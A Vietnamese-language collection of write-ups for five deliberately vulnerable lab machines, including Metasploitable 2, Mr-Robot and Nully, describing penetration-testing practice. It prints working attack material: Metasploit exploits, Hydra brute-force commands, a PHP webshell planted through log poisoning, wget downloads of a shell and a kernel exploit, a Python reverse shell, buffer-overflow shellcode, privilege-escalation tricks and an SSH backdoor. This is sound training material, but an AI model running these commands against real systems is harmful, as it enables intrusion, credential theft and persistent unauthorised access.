# Labs Attack & Defense ## Lab 1: Metasploitable 2 Sử dụng Parrot với tư cách là máy attacker và server để ta tấn công là Metasploitable 2 - Metasploitable là một máy ảo Linux có mục đích tạo ra môi trường lỗ hổng để ta có thể thực hành tấn công (pentesting). ![](https://i.imgur.com/PzyHp0S.jpg) Sau khi đăng nhập với ``` username: msfadmin password: msfadmin ``` Kiểm tra thấy địa chỉ máy victim là 192.168.109.130 ![](https://i.imgur.com/DshS8Jc.png) Kiểm tra kết nối bằng cách ping ![](https://i.imgur.com/3myw32B.png) Sử dụng nmap để quét thấy rất nhiều service đang open trên nhiều port khác nhau. ![](https://i.imgur.com/50eNkPH.png) ```shell! Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-29 02:23 EST Nmap scan report for 192.168.109.130 Host is up (0.0079s latency). Not shown: 977 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login OpenBSD or Solaris rlogind 514/tcp open tcpwrapped 1099/tcp open java-rmi GNU Classpath grmiregistry 1524/tcp open bindshell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.32 seconds ``` Chúng ta sẽ đi tấn công vào từng port bằng cách sử dụng Metasploit được tích hợp sẵn với os Parrot hoặc Kali :yum: ![](https://i.imgur.com/2BrcQl7.png) Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác lỗi của các service. ### Port 21: ftp ![](https://i.imgur.com/PwGigz5.png) Ta thấy rằng version VSFTPD v2.3.4 đã từng bị exploit. ![](https://i.imgur.com/05WyrxM.png) Tool thông báo rằng ta chưa config kiểm tra thấy rằng RHOST-ip victim đang trống do vậy ta thêm bằng cách `set RHOSTS 192.168.109.130` ![](https://i.imgur.com/StAmyPw.png) Ta exploit và nó tự trả về shell đã leo thang lên quyền root cho mình :nerd_face: ![](https://i.imgur.com/9vGpyIA.png) ### Port 22: ssh Như mọi bài ssh ta phải kiếm được tài khoản mật khẩu hoặc có thể kiếm key RSA để ssh vào. Có nhiều cách như là tạo wordslist user và pass rồi dùng hydra brute-force hoặc thử đăng nhập với `msfadmin:msfadmin`. Nhưng ở đây mình dùng Poc của CVE 2008-3280 brute-force key: https://www.exploit-db.com/exploits/5720 ```python2 exploit.py /home/lilthawg29/Desktop/rsa/2048 192.168.109.130 root``` ![](https://i.imgur.com/WGCucui.png) Và thế là ta có root ![](https://i.imgur.com/U9wxBuK.png) ### Port 23: telnet Telnet với tài khoản, mật khẩu `msfadmin:msfadmin` và tài khoản msfadmin có quyền sudo nên leo lên root dễ dàng ![](https://i.imgur.com/YZNvpiQ.png) ### Port 25: smtp SMTP(Simple Mail Transport Protocol) giữ cơ sở dữ liệu cục bộ của người dùng mà nó phải gửi và nhận email. Ở port này thì không leo lên root trực tiếp được do vậy nhiệm vụ ở port này là leak hết tên user ra. MSF có module auxiliart/scanner/smtp/smtp_enum cho chúng ta làm việc đó ![](https://i.imgur.com/wBaZoyn.png) nhưng wordslist của MSF là không đủ, do vậy ta vẫn phải thêm vài tên vào file user.txt rồi dùng tool smtp-user-enum để check ![](https://i.imgur.com/bEb7pwN.png) ### Port 80: http ![](https://i.imgur.com/diI1MYP.png) Ta thấy PHP version 5.2.4, google về `php 5.2.4 exploit` ta tìm được `PHP CGI Argument Injection` https://www.rapid7.com/db/modules/exploit/multi/http/php_cgi_arg_injection/ PHP – CGI là giao thức truyền tin giữa web Server và chương trình CGI. Về cơ bản, đây là cách để chạy script phía máy chủ (PHP, Perl, Python) khi có HTTP Request. ![](https://i.imgur.com/rGGT3Ku.png) Hoặc có thể dùng `TWiki History TWikiUsers rev Parameter Command Execution` ![](https://i.imgur.com/DunlAsm.png) ![](https://i.imgur.com/hYk3bUU.png) ### Port 139 & 445: netbios-ssn Samba đang chạy trên cả cổng 139 và 445, chúng tôi sẽ khai thác nó bằng Metasploit. Cổng mặc định cho khai thác này được đặt thành cổng 139 nhưng cũng có thể thay đổi thành cổng 445. SMB là giao thức chia sẻ tệp hoặc dữ liệu bằng SMB hoặc cổng 139 và 445, bạn có thể chia sẻ tệp hoặc dữ liệu của mình trong máy tính cục bộ với máy chủ và khi bạn đăng nhập bằng công cụ smb client thì bạn cũng có thể truy cập các tệp hoặc dữ liệu của người dùng khác. ![](https://i.imgur.com/XWpPSA1.png) ### Port 513: OpenBSD or Solaris rlogind Về cơ bản, rlogin sẽ cho phép chúng ta truy cập từ xa vào một hệ thống và thực thi các lệnh trên đó. Theo https://linoxide.com/how-tos/howto-enable-rshrlogin-on-linux-server/, "Rlogin sử dụng một tệp ẩn có tên .rhosts có trên máy chủ. Tệp này cho phép máy đăng nhập mà không cần mật khẩu." ![](https://i.imgur.com/LpLGe1b.png) ### Port 1099: java-rmi ``` msf > use exploit/multi/misc/java_rmi_server msf exploit(java_rmi_server) > set rhost 192.168.109.130 msf exploit(java_rmi_server) > exploit msf exploit(java_rmi_server) > shell ``` ![](https://i.imgur.com/lhmZJQB.png) ### Port 1524: bindshell simple root shell :D ![](https://i.imgur.com/UQ9nZdJ.png) ### Port 2049: nfs NFS (Network File Sharing protocol) cho phép người dùng chia sẻ thư mục và tệp qua mạng trên các hệ điều hành khác nhau. Ngoài ra, nó sẽ cho phép các hệ thống remote có thể truy cập local khi thư mục shared được mount. Khả năng truy cập của các NFS shares dựa trên bất kỳ ai được chia sẻ. ### Port 2121: ftp ![](https://i.imgur.com/gDENZxM.png) ### Port 3306: mysql Tài khoản 'root' không có mật khẩu! Vì vậy ta có thể kết nối đến database. ![](https://i.imgur.com/0xJ6qZX.png) ### Port 5432: postgresql ![](https://i.imgur.com/eJYdpDq.png) Ta có thể login với user và pass default. ![](https://i.imgur.com/macqFHT.png) Ta có thể có shell bằng cách sử dụng metasploit: `use exploit/linux/postgres/postgres_payload` ![](https://i.imgur.com/6Em23XZ.png) ### Port 5900: vnc Virtual Network Computing (VNC) chạy trên cổng 5900, dịch vụ này có thể bị khai thác bằng cách sử dụng một mô-đun trong Metasploit để tìm thông tin xác thực đăng nhập. Mô-đun này sẽ kiểm tra máy chủ VNC trên nhiều loại máy và báo cáo các lần đăng nhập thành công. Hiện tại, nó hỗ trợ giao thức RFB phiên bản 3.3, 3.7, 3.8 và 4.001 bằng cách sử dụng challenge-response authentication VNC. `use auxiliary/scanner/vnc/vnc_login` ![](https://i.imgur.com/EUgNFE7.png) Tìm được pass là: `password` install nvcviewer: `sudo apt install tigervnc-viewer` ![](https://i.imgur.com/GG5q60e.png) ![](https://i.imgur.com/F2zKPV4.png) ### Port 6667: irc Cổng 6667 có dịch vụ UnrealIRCD đang chạy, ta sẽ khai thác bằng cách sử dụng backdoor có sẵn trong Metasploit. ![](https://i.imgur.com/TDWvWJN.png) ### Port 8180: Apache Tomcat Metasploit có một cách khai thác dành cho Tomcat mà chúng có thể sử dụng để lấy phiên Meterpreter. Việc khai thác sử dụng thông tin đăng nhập mặc định `tomcat:tomcat` được sử dụng bởi Tomcat để có quyền truy cập. ![](https://i.imgur.com/wDEERvL.png) ## Lab 2: [MR-ROBOT: 1](https://www.vulnhub.com/entry/mr-robot-1,151/) Tìm được địa chỉ máy victim: `192.168.143.129` ![](https://i.imgur.com/SjyYwk6.png) Dò quét với nmap ![](https://i.imgur.com/cieaXlH.png) ![](https://i.imgur.com/Ebdkbw2.png) sau khi thử một hồi không thấy gì đặc biệt, vì tên lab là mr-robot nên ta kiểm tra file robots.txt thì thấy 2 file `fsocity.dic` - tập hợp rất nhiều từ để dùng cho dictionary attack và `key-1-of-3.txt` gồm 1 key, nhìn tên file chắc là đây là key thứ 1. ![](https://i.imgur.com/XphX6xc.png) Tải file `fsocity.dic` về: `curl -o fsocity.dic http://192.168.143.129/fsocity.dic` Có thể thấy file chứa 858160 từ, rất nhiều tuy nhiên cũng có rất nhiều từ bị lặp lại do vậy ta lưu 11451 từ unique vào để tý dùng: `sort fsocity.dic | uniq > fsocity.dic.uniq` ![](https://i.imgur.com/oEwd0Oy.png) Sử dụng nikto quét, nhận thấy một trang login ![](https://i.imgur.com/Ml2Goac.png) ![](https://i.imgur.com/X0reTYo.png) Đến đây ta đã biết phải sử dụng Hydra với wordlists là `fsocity_unq.dic` ``` Post Web Form Chúng ta cũng có thể sử dụng Hydra để bruteforce các web forms, bạn sẽ phải đảm bảo rằng bạn biết loại yêu cầu của nó – phương thức GET hoặc POST thường được sử dụng. Bạn có thể sử dụng tab Network trong trình duyệt (bấm F12 – developer tools) để xem các loại phương thức của request. Dưới đây là ví dụ về lệnh Hydra để brute force một form login dùng phương thức POST. hydra -l <username> -P <password list> <ip> http-post-form "/<login url>:username=^USER^&password=^PASS^:F=incorrect" -V Giải thích các tùy chọn: -l: Tên người dùng duy nhất -P: cho biết sử dụng danh sách mật khẩu sau http-post-form: cho biết loại phương thức (post) /login url: URL trang đăng nhập :username: trường biểu mẫu nơi tên người dùng được nhập ^USER^: yêu cầu Hydra sử dụng tên người dùng password: trường biểu mẫu nơi mật khẩu được nhập ^PASS^: yêu cầu Hydra sử dụng danh sách mật khẩu đã cung cấp trước đó Login: cho biết để rút lại thông báo đăng nhập không thành công Login failed: là thông báo đăng nhập thất bại mà biểu mẫu trả về F=incorrect: nếu từ này xuất hiện trên trang, thì nó không chính xác -V: đầu ra cho mọi lần thử ``` ![](https://i.imgur.com/AfJ6R6u.png) Giờ ta phải đi tìm username trước, nếu không tồn tại username thì sẽ hiện `Invalid username` ![](https://i.imgur.com/ImJTACt.png) `hydra -vV -L fsocity.dic.uniq -p wedontcare 192.168.143.129 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'` Quét xong nhận được thông báo tìm được 3 user phù hợp nhưng không thấy hiện ở đâu nên mình lại phải xuất ra file :cry: `hydra -vV -L fsocity.dic.uniq -p wedontcare 192.168.143.129 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username' -o success` ![](https://i.imgur.com/SE6j9VR.png) ![](https://i.imgur.com/e4NoGKK.png) Làm tương tự trên đối với password: `hydra -vV -l elliot -P fsocity.dic.uniq 192.168.143.129 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect' -o success` tìm được password: `ER28-0652` ![](https://i.imgur.com/Nk5wFtV.png) Qua tìm hiểu ta có thể upload reverse shell thông qua việc chỉnh sửa file ![](https://i.imgur.com/mUHoE2L.png) ![](https://i.imgur.com/GrPUEQh.png) Tìm được key 2 nhưng chỉ robot mới có quyền đọc ![](https://i.imgur.com/UKxC2vk.png) crack md5 ta được password: `abcdefghijklmnopqrstuvwxyz` ![](https://i.imgur.com/v8f7czJ.png) nhưng chuyển user khác thì không được :hushed: ![](https://i.imgur.com/2goWcFd.png) do vậy ta nâng cấp shell bằng cách dùng python `python -c 'import pty; pty.spawn("/bin/bash")'` ![](https://i.imgur.com/YkfXqX1.png) Key thứ 3 ta cần phải leo quyền ``` Đây là câu lệnh quan trọng nhất của phần Privilege Escalation này, vậy nên cần hiểu kỹ. Command: find / -perm -u=s -type f 2>/dev/null Trong đó: /: Tìm kiếm bắt đầu từ thư mục gốc (root) của hệ thống, việc này giúp quét toàn bộ files trong tất cả thư mục. Điều này giúp tăng phạm vi tìm kiếm. -perm: Tìm kiếm theo các quyền được chỉ định sau đây. -u=s: Tìm kiếm các file được sở hữu bởi người dùng root. Sử dụng -user [tên user] để tìm kiếm các files của user đó. -type: chỉ định loại file tìm kiếm. f: Chỉ định loại file cần tìm là các regular file, mà không là các thư mục hoặc các file đặc biệt. Hầu hết các file được sử dụng trực tiếp bởi người dùng là các regular file. Ví dụ: file thực thi, file văn bản, file hình ảnh... Điều này giúp tăng hiệu quả tìm kiếm. 2>: có nghĩa là redirect (kí hiệu là >) file channel số 2 tới nơi được chỉ định, file channel này ánh xạ tới stderr (standard error file channel), là nơi các chương trình thường ghi lỗi vào. /dev/null: Đây là nơi được redirect đến, nó là một pseudo-device (thiết bị giả) hay một special character device mà nó cho phép write (ghi) bất cứ thứ gì lên nó, nhưng khi yêu cầu đọc nó, nó không return bất cứ thứ gì. ``` ![](https://i.imgur.com/4scnICj.png) ``` SUID ( hay Set user ID ) , thường được sử dụng trên các file thực thi ( executable files ). Quyền này cho phép file được thực thi với các đặc quyền (privileges) của chủ sở hữu file đó. Ví dụ: nếu một file được sở hữu bởi user root và được set SUID bit, thì bất kể ai thực thi file, nó sẽ luôn chạy với các đặc quyền của user root. Và khi xem permissions của file, ở phần User, nhãn x sẽ được chuyển sang nhãn s. ``` Ta đã thấy bên trên, nmap sở hữu bởi root nhưng bất kể ai cũng có thể thực thi ![](https://i.imgur.com/yRt6EAn.png) Lỡ ctrl C mất :cry: ![](https://i.imgur.com/B9EFFe6.png) ``` nmap> !sh # cd /root # ls firstboot_done key-3-of-3.txt # cat key-3-of-3.txt 04787ddef27c3dee1ee161b21670b4e4 ``` ## Lab 3: [TOMATO: 1](https://www.vulnhub.com/entry/tomato-1,557/) ![](https://i.imgur.com/uLBZPVZ.png) Tìm được địa chỉ máy victim: `192.168.79.152` Dò quét với nmap ![](https://i.imgur.com/MxLw2D6.png) Truy cập vào cổng 8888 ta nhận được form đăng nhập ![](https://i.imgur.com/bpvfTEG.png) Sử dụng wordlists default không tìm được ![](https://i.imgur.com/2zpVfjT.png) Thay đổi sang wordlists 'common.txt' của drib ta tìm được dir `antibot_image` ![](https://i.imgur.com/qMUChr2.png) Sau khi tải tất cả các file về `wget -r http://192.168.79.152/antibot_image/antibots/` thì thấy ở info.php có hint. ![](https://i.imgur.com/bmEwsGa.png) Ta thấy rằng xuất hiện lỗi LFI ở đây. ![](https://i.imgur.com/hOriWh8.png) Ta đọc log ssh để tìm thông tin để tiếp tục attack ![](https://i.imgur.com/WooQr1F.png) thử đăng nhập và thấy username được ghi lại ![](https://i.imgur.com/C9I5MPs.png) Do vậy ta thử inject code php vào `sshpass -p "kocopass" ssh "<?php echo system($_REQUEST[‘cmd’]); ?>"@192.168.79.152 -p 2211` sau khi inject thì thấy không trả về log nữa ![](https://i.imgur.com/lPW6L9a.png) :cry: xong rồi mình phải cài lại lab Chỉnh lại payload: `ssh '<?php system($_GET["cmd"]);?>'@192.168.143.130 -p 2211` ![](https://i.imgur.com/uw9Vgdh.png) Giờ thì mới được may quá :hear_no_evil: ![](https://i.imgur.com/QxXQI2O.png) Ta tiến hành reverse shell bằng cách tải file từ máy mình lên server Sử dụng SimpleHTTPServer để build một web-server đơn giản trên máy attacker: `python3 -m http.server 8081` ![](https://i.imgur.com/gZNqkLc.png) `cmd=wget http://192.168.143.128:8081/shell.php -O /tmp/shell.php` sau khi download thì access vào để active shell ![](https://i.imgur.com/V2Nnztm.png) ![](https://i.imgur.com/0WzFLeH.png) Phiên bản Kernel tồn tại lỗ hổng cho phép leo thang đặc quyền. Nâng cấp shell với: `python3 -c 'import pty; pty.spawn("/bin/bash")'` Tải file exploit về nhưng không có quyền write ![](https://i.imgur.com/FU5mOdr.png) Nhưng ở foler tmp thì thoải mái :heart_eyes: ![](https://i.imgur.com/IUYVcr6.png) Đậu xanh sao lại không có gcc nhỉ ? ![](https://i.imgur.com/nuT48iW.png) Sau khi tra cứu thì vẫn còn gcc-5 `gcc-5 exploit.c -o cowroot -pthread` ![](https://i.imgur.com/KAtFfvA.png) ![](https://i.imgur.com/lfEi4td.png) NOTE: Sau đó mình mới nhận ra trường hợp máy victim không có gcc thì compile luôn máy mình rồi từ máy nạn nhân wget file về là được mà :crying_cat_face: quá gà hjc ``` wget https://www.exploit-db.com/raw/45010 -O exploit.c gcc exploit.c -o exploit chmod +x exploit ``` ![](https://i.imgur.com/2NEKwNI.png) ![](https://i.imgur.com/vzKDeKC.png) ## Lab 4: [KNOCK-KNOCK: 1.1](https://www.vulnhub.com/entry/knock-knock-11,105/) ![](https://i.imgur.com/FN5uPrJ.png) Quét cổng với nmap nhưng chỉ nhận được mỗi cổng 1337 đang open ![](https://i.imgur.com/4ufmVyv.png) netcat vào thấy trả về các arr chưa các số không biết có ý nghĩa gì ? ![](https://i.imgur.com/n5l7pld.png) Nghĩ rằng chỉ đơn giản là netcat đến các cổng thôi mình thử viết tool nhưng không có port nào được mở thêm ![](https://i.imgur.com/8W8mZaM.png) ![](https://i.imgur.com/SrkK59P.png) Sau khi tham khảo mới biết phải gõ cửa đúng theo thứ tự nào đó thì mới mở được port :clown_face: ```python= from pwn import * from itertools import permutations import time def KnockPorts(host,ports): perms = permutations(ports) for perm in perms: print(perm) for port in perm: try: print("[*] Knocking on port: ", port) r = remote(host, port) except: pass time.sleep(1) print('[-] Knock Complete') print('[+] All Knocking Complete!') host = '192.168.143.131' port = 1337 r = remote(host, port) ports = eval(r.recvline()) KnockPorts(host,ports) ``` [Port knocking](https://www.digitalocean.com/community/tutorials/how-to-use-port-knocking-to-hide-your-ssh-daemon-from-attackers-on-ubuntu#status-deprecated) là một phương pháp giấu các dịch vụ mà bạn đang chạy trên máy của mình. Nó cho phép tường lửa của bạn bảo vệ các dịch vụ của bạn cho đến khi bạn yêu cầu mở một cổng thông qua một chuỗi lưu lượng mạng cụ thể. ![](https://i.imgur.com/yR1WVON.png) Truy cập vào web và tải ảnh về, cat ảnh đó và đọc được thông tin đăng nhập ssh ![](https://i.imgur.com/x6yU5an.png) ![](https://i.imgur.com/iy6mzjY.png) ![](https://i.imgur.com/4sWnJwj.png) Tuy nhiên thông tin đăng nhập đã bị encode bằng rot13, sau đó đảo ngược chuỗi lại ![](https://i.imgur.com/lQHXgpr.png) Do vậy thông tin đúng phải là: Jason/jB9jP2knf ![](https://i.imgur.com/VRiWqrp.png) ![](https://i.imgur.com/srNpt6p.png) Ta thấy shell bị hạn chế ![](https://i.imgur.com/tZPWdns.png) Để escape the restricted shell: `python -c "import pty; pty.spawn('/bin/bash')"` ![](https://i.imgur.com/jKaa4Rp.png) Ta thấy jason có 1 file có quyền excute ![](https://i.imgur.com/9NCJb3K.png) Đây là 1 dạng file encryption nhận file đầu vào và trả về kết quả ở file đầu ra ![](https://i.imgur.com/mpIEGys.png) Do viết đến đây bị thiếu kiến thức pwn nên mình sẽ bổ sung sau ... payload sinh file buffer overflow ```python= #!/bin/python import sys import struct #a1 = file contents #a2 = file length #f = open('input_buff.tfc', 'r') #a1 = f.read() #a2 = len(a1) ret = '\x93\x8e\x04\x08' #08048d93 shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43" a1 = 'A'*4124 + ret + '\x90' * 10 + shellcode l = len(a1) % 4 for m in range(l): a1 += 'Z' a2 = len(a1) key = 0xEA1AB19F r='' # now do the first for loop for i in range(a2/4): x = struct.unpack_from('<L', a1, (i * 4))[0] #print x ^ key r += struct.pack('<L', (x ^ key)) for j in range(8): if (key & 1): key = (key >> 1) ^ 0x6DAA1Cf4 else: key = key >> 1 open('myfile.tfc', 'wb').write( r ) ``` ![](https://i.imgur.com/24pHELl.png) ## Lab 5: [NULLY CYBERSECURITY: 1](https://www.vulnhub.com/entry/nully-cybersecurity-1,549/) ### Flag 1 Lab này đoạn đầu phải config lại vì tác giả đặt tên card mạng sai Restart -> Spam F2 để mở bảng -> Advance Options ![](https://i.imgur.com/SJCNwTq.png) nhấn phím e để cấu hình ![](https://i.imgur.com/1tHJ3t8.png) Sửa và cấu hình đoạn "ro recovery nomodeset" thành "rw init=/bin/bash" như hình sau ![](https://i.imgur.com/4ZWxPYo.png) Ấn tổ hợp phím Ctrl – X (hoặc F10) để boot lại OS. Chọn "recovery mode" ![](https://i.imgur.com/QzvcDDR.png) Tại màn hình boot, sử dụng lệnh "passwd" để reset mật khẩu hiện tại. ![](https://i.imgur.com/fpNuC8B.png) Sau đó sử dụng lệnh exec /sbin/init để khởi động lại hệ thống. ![](https://i.imgur.com/82WNbi0.png) Đăng nhập vào máy ảo Nully với toàn khoản root và mật khẩu vừa đặt lại ở bước trên. ![](https://i.imgur.com/Y6nwy3O.png) Sử dụng lệnh "ip a" để kiểm tra giao diện mạng. Có thể thấy card ens33 chưa nhận thông tin cấu hình. Đó chính là lý do tại sao chúng ta không dò quét được địa chỉ IP của máy Nully. ![](https://i.imgur.com/gUkxfj0.png) Sử dụng lệnh "vim /etc/netplan/00-installer-config.yaml" để cấu hình card mạng ![](https://i.imgur.com/3IiKF7d.png) Trong trường hợp này tên card mạng đang bị sai nên chúng ta sửa “enp0s3” thành “ens33” (cho trùng với tên card mạng ở phía trên) ![](https://i.imgur.com/OUtabk1.png) ![](https://i.imgur.com/l3GBoPC.png) Sử dụng lệnh "reboot" để khởi động lại hệ thống. Sau đó dùng lệnh "ip a" để kiểm tra và thấy rằng giao diện ens33 đã nhận địa chỉ IP ![](https://i.imgur.com/QsXMIql.png) ![](https://i.imgur.com/IHF8swS.png) Quét cổng ![](https://i.imgur.com/qhfQuOx.png) Kiểm tra web ![](https://i.imgur.com/9B7nZKo.png) Theo rule ta không được attack port 80, 8000, 9000. Vậy ta phải attack vào 2 port còn lại là 110 và 2222. Bắt đầu với port 110: `To start, check your email on port 110 with authorization data pentester:qKnGByeaeQJWTjj2efHxst7Hu0xHADGO` ![](https://i.imgur.com/JTa8k3J.png) Lọc các từ khoá liên quan đến bob: `grep bobby /usr/share/wordlists/rockyou.txt > wordlist.txt` `hydra -l bob -P wordlist.txt pop3://192.168.143.129` ![](https://i.imgur.com/ZWCHUMQ.png) Tìm được password: bobby1985, ssh vào ![](https://i.imgur.com/lPYVUQT.png) Kiểm tra sudo -l thấy rằng ta có khả năng chạy check.sh với tư cách là người dùng my2user. ![](https://i.imgur.com/lvHiVrK.png) Chạy thử script ![](https://i.imgur.com/eEBzJMe.png) Ta leo sang my2user xem có gì hay ho không bằng cách thêm `/bin/bash` vào script ![](https://i.imgur.com/MDF7VfA.png) `sudo -u my2user /bin/bash /opt/scripts/check.sh` ![](https://i.imgur.com/MrO6kft.png) Kiểm tra với sudo -l ta thấy rằng nó có thể chạy /usr/bin/zip với quyền root. ![](https://i.imgur.com/nroKQ8M.png) Tham khảo https://www.hackingarticles.in/linux-for-pentester-zip-privilege-escalation/ ta thấy có thể dùng payload `sudo zip 1.zip check.sh -T --unzip-command="sh -c /bin/bash"` để leo lên root ![](https://i.imgur.com/gGhBkTx.png) Vậy là tìm được flag 1, tiếp tục đến flag 2 root web server Để phòng ngừa nên tạo backdoor bằng ssh để về sau ssh một phát lên root luôn chứ không phải leo qua my2user. ![](https://i.imgur.com/D7QDGsZ.png) ![](https://i.imgur.com/yx3sSLf.png) ![](https://i.imgur.com/7aFryrO.png) copy file id_rsa sang máy attacker(máy mình) ![](https://i.imgur.com/ufwWuCO.png) ### Flag 2 Pivoting đề cập đến một phương pháp được sử dụng bởi những người kiểm tra thâm nhập sử dụng hệ thống bị xâm nhập để tấn công các hệ thống khác trên cùng một mạng để tránh các hạn chế như cấu hình tường lửa, có thể cấm truy cập trực tiếp vào tất cả các máy. Ví dụ: nếu kẻ tấn công xâm phạm máy chủ web trên mạng công ty, thì kẻ tấn công có thể sử dụng máy chủ web bị xâm nhập để tấn công các hệ thống khác trên mạng hoặc trong nội bộ công ty. Những kiểu tấn công này thường được gọi là tấn công nhiều lớp. Pivoting còn được gọi là island hopping. ![](https://i.imgur.com/yKiAkSL.png) Sau khi cài netdiscover chạy lệnh `netdiscover -i eth0 -r 172.17.0.0/16` để tìm ra các dịch vụ khác trong mạng nội bộ, `/16` là vì subnetmask là 255.255.0.0 ![](https://i.imgur.com/K06iWGU.png) Chúng ta có thể bỏ qua 172.17.0.1 vì nó là Gateway ![](https://i.imgur.com/tU5Iv6q.png) Vì 172.17.0.2 có port 80, nên ta sẽ attack vào đó để lên root web server. ![](https://i.imgur.com/jLk9Mvf.png) Ta forward về local để dễ attack trên máy mình luôn `ssh -L 8000:172.17.0.2:80 root@192.168.143.129 -p 2222 -i id_rsa` ![](https://i.imgur.com/k0qTvuL.png) ![](https://i.imgur.com/8mw4qUS.png) Dùng dirsearch tìm được ![](https://i.imgur.com/nV32Jz0.png) ![](https://i.imgur.com/VvBpbLY.png) Dùng param host để xem có gì lạ không ![](https://i.imgur.com/zTnTn3t.png) ![](https://i.imgur.com/bvRbeam.png) Ở đây dính lỗi command injection, do vậy ta đi tìm cách RCE. ![](https://i.imgur.com/Y9h3bWK.png) Để làm được điều đó ta cần sử dụng netcat và cả 2 máy đều chưa có netcat. Với máy MailServer thì đơn giản chỉ cần tải về thôi ![](https://i.imgur.com/s0bb1rb.png) Nhưng với máy web server thì phải lòng vòng hơn, ta phải public file binary của nc lên để máy 172.17.0.2 tải về ![](https://i.imgur.com/WmYXUAO.png) ``` http://localhost:8000/ping/ping.php?host=; wget http://172.17.0.5:9000/nc http://localhost:8000/ping/ping.php?host=; chmod 777 nc http://localhost:8000/ping/ping.php?host=; ls -la nc; pwd ``` ![](https://i.imgur.com/tQwejGy.png) ![](https://i.imgur.com/bxhwO0i.png) Thử với payload `./nc 172.17.0.5 9000 -e /bin/bash` mãi mà không được mình mới tìm hiểu được rằng options -e chỉ dành cho phiên bản cũ của nc thôi https://unix.stackexchange.com/questions/583473/invalid-option-e-in-netcat/583479#583479 Thử với các payload trên https://www.revshells.com/ gen pty toàn bị lỗi hết pty :cry: ![](https://i.imgur.com/QKz8StF.png) Sau khi lục tung gg cuối cùng mình cũng tìm được payload phù hợp `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.5",9000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'` ![](https://i.imgur.com/u8gNO2y.png) Có 2 user trong /etc/passwd ta cần chú ý đến ![](https://i.imgur.com/CeRB1k1.png) Tìm kiếm các file thuộc sở hữu của 2 user này ``` find / -type f -user 1001 2>/dev/null find / -type f -user 1000 2>/dev/null ``` ![](https://i.imgur.com/8Q1jWbU.png) Đọc file secret của Oliver ta nhận được thông tin đăng nhập ``` my password - 4hppfvhb9pW4E4OrbMLwPETRgVo2KyyDTqGF ``` ![](https://i.imgur.com/arFegRY.png) ![](https://i.imgur.com/qyxlncC.png) Vừa ta đã biết oscar là chủ sở hữu của python3 do vậy payload `python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'` ta sẽ leo sang oscar. ![](https://i.imgur.com/umQ476U.png) ``` H53QfJcXNcur9xFGND3bkPlVlMYUrPyBp76o ``` ![](https://i.imgur.com/3JP3lCt.png) Chương trình current-date trả về thời gian hiện tại ![](https://i.imgur.com/GRDFxjD.png) do đã check strings nên mình đoán rằng nó chỉ call đến chương trình date và lấy kết quả in ra thôi ![](https://i.imgur.com/dHCIJrh.png) Kiểm tra $PATH ![](https://i.imgur.com/TykwIbW.png) Bây giờ nếu mình gán đường dẫn `/home/oscar` vào `$PATH` `export PATH=/home/oscar:$PATH` thì $PATH mới sẽ thành như z ![](https://i.imgur.com/EW7TziH.png) vì nó call đến `date` theo thứ tự trong $PATH nên ta đơn giản chỉ cần tạo prog `date` chứa `/bin/bash` là khi chạy `current-date` nó sẽ excute `/bin/bash` với quyền root và ta có thể leo lên root rồi. Ting ting ![](https://i.imgur.com/i1XYYGj.png) Suy nghĩ thêm cho bạn đọc: Nếu để `/home/oscar` ở cuối thì có lên root được không ? ![](https://i.imgur.com/vTzzYos.png) ### Flag 3 ![](https://i.imgur.com/6pGWYiw.png) Tải 2 file về xem sao ![](https://i.imgur.com/Fn4VfR5.png) File `.backup.zip` bị khoá ![](https://i.imgur.com/veD7y6K.png) Tải file `backup.zip` về local ``` #Remote Server nc -w 3 192.168.143.130 8001 < backup.zip #Local Machine nc -lvnp 8001 > backup.zip ``` ![](https://i.imgur.com/Pi0nvvR.png) ``` zip2john backup.zip > hash.txt john hash.txt ``` Tìm được pass là `1234567890` ![](https://i.imgur.com/o8NqY0L.png) ![](https://i.imgur.com/HaYb6nA.png) `donald:HBRLoCZ0b9NEgh8vsECS` Tải linpeas về để dễ dàng tìm cách leo thang hơn ``` # Use a linpeas binary wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64 chmod +x linpeas_linux_amd64 ./linpeas_linux_amd64 ``` ![](https://i.imgur.com/8dseMlW.png) Tìm được `Unknown SUID binary!` ![](https://i.imgur.com/J1H1FeV.png) GG ta tìm được script exploit 